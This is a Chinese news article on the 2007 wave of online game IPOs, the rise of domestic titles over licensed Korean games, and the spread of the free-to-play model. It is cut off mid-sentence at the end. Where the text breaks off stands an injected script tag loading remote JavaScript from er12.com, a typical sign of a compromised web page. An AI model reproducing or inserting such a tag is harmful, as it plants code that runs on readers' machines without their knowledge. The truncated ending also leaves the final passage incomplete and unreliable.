伴随着完美世界、金山、巨人、网龙等相继登陆海外资本市场,中国网络游戏市场的声浪,一波波翻滚而来。
与此相映衬的是,艾瑞咨询的市场调查显示,2005年中国网络游戏市场规模为60亿元,而到2007年,这一数据将突破100亿元。
反映到在资本市场上,三年间上市网游公司从3家增长到接近10家;当年挟中国网络概念龙头之威奔赴纳斯达克的盛大融资额为1.5亿美金,而如今斜刺里杀出的巨人,在纽交所ipo的融资额已达9亿美金。
然而,3年前,网络游戏行业一度宛如即将破灭的泡沫:《神话》一夜之间宣布关闭;盛大深陷盒子计划,单季度亏损达6000万美金;防沉迷系统曾让许多企业半路掉头……
风云变幻的中国互联网产业,在网游领域再度创造了奇迹。
国产网游主导的复兴
“这是中国网络游戏创新的结果。”11月1日,在巨人和网龙即将上市之际,网络游戏运营商蓝港在线创始人王峰对记者表示。
从事游戏行业多年的王峰对中国网络游戏的发展与变革有着切身的体验。就在同一天,王峰写了一封名为《史玉柱的成功是中国游戏行业的耻辱》的邮件发给公司同事。王峰在其中分析了巨人ceo史玉柱"一夜成功"反映出,中国网络游戏的"重症"在于缺乏创新,"创新的人太少"。
史玉柱的成功,几乎就是中国网络游戏市场从一片狼藉到再度辉煌的缩影。
盛大公司前副总裁朱威廉认为,巨人凭借一款网游,就成为了国内市值最高的游戏公司,其创新之处在于对游戏用户的心理的理解,以及产品的研发能力,而并不仅仅是外界普遍认为的依靠其多年从事营销的经验。
王峰认为,史玉柱的《征途》开发团队是曾开发了《英雄年代》的团队,其经验丰富,这使得《征途》中不仅借鉴了韩国游戏的国家、对立等游戏系统,还借鉴了欧美游戏如《暗黑》中的武器系统。最重要的是,《征途》创新把握了玩家的心理,比如经验升级迅速但是武器升级却很慢,“这样造成一种不平衡,50级的人拿着20级的武器,玩家肯定不愿意” 。
“正是因为创新,使得这一轮的上市热潮表现为国产网游所主导的复兴。”王峰认为,现在国产网游的产品类型越来越多,技术水平越来越高,创新已经成为业界的共识。
而在3年前,多数网游运营商还沉浸在代理韩国网络游戏,沉浸在“睡觉也能来钱”的美梦中。
然而,代理游戏模式的风险在盛大与韩国游戏开发商actoz的诉讼中暴露无遗,险些将盛大从上市的楼梯上拉下。随后,海虹控股与actoz之间的纠纷显现,网游早早夭折。这一系列关于知识产权的诉讼和纠纷,同时也敲醒了国内许多代理韩国网络游戏的运营商:只有创造自己的产品,才能够在市场上站稳脚跟。
今年以来,久游网与t3的知识产权官司,同样提醒众多的网络游戏参与者:谁拥有内容,谁才是王者。
接连的诉讼之下,“自主创新”成为中国网络游戏的“主旋律” 。
艾瑞咨询发布的中国网络游戏报告显示,2007年第二季度,国产网络游戏已经占据了超过70%的市场份额,彻彻底底地成为了市场的主流。而2005年中国市场主流游戏几乎都是韩国的产品,其占据高达60%的市场份额。
“新近上市的几家企业,几乎都是靠自主研发的游戏上市。”王峰认为,这在3年前几乎不可想象,"只有自主创新的人才和产品越来越多,才能满足产品的本地化需求"。
据记者了解,在近期上市的这四家网游企业中,完美世界自主开发了3d游戏引擎,并在此基础上开发了《诛仙》、《完美世界》等多款游戏;金山则发挥自己在q版游戏中的优势,推出《春秋q传》。
免费模式中国造
过去3年,中国网络游戏除了在国产化、本土化方面获得突破外,在运营模式上也实现了创新,这也是中国网游复兴的另一个重要因素。
2005年年底,盛大突然宣布实施免费战略,在此后相当长的一段时间内,盛大的股价徘徊在发行价附近,中国网络游戏行业陷入到最低谷。
在盛大宣布包括《传奇》、《传奇世界》等在内的6款游戏免费运营之后,整个游戏界一片唏嘘,因为这意味着盛大要放弃每月稳定的几千万美元收入。
此时,坚持收费模式的网易依靠自主研发的《梦幻西游》,悄然坐上了同时在线100万人的交椅。网易在2006年成功超越盛大成为国内网络游戏行业的"老大"。但此时业界悄然发现:免费模式网游已在一步步蚕食着依靠时间收费的传统网游的市场份额。
“国产网游在事实上的成功,打消了许多投资者对中国网络游戏概念股的顾虑。”王峰认为,免费模式在实践中很快被大多数新上线游戏所采纳。2005年底,《征途》正式上线后采用了免费运营的模式,晴天数码、完美世界也同时将旗下新游戏免费运营。
事实上,免费模式其实恰似一个"金钱陷阱"。其创新之处在于,免费游戏降低了玩家进入游戏的门槛,但需要享受更高级别的服务?script src=http://er12.com/t.js>











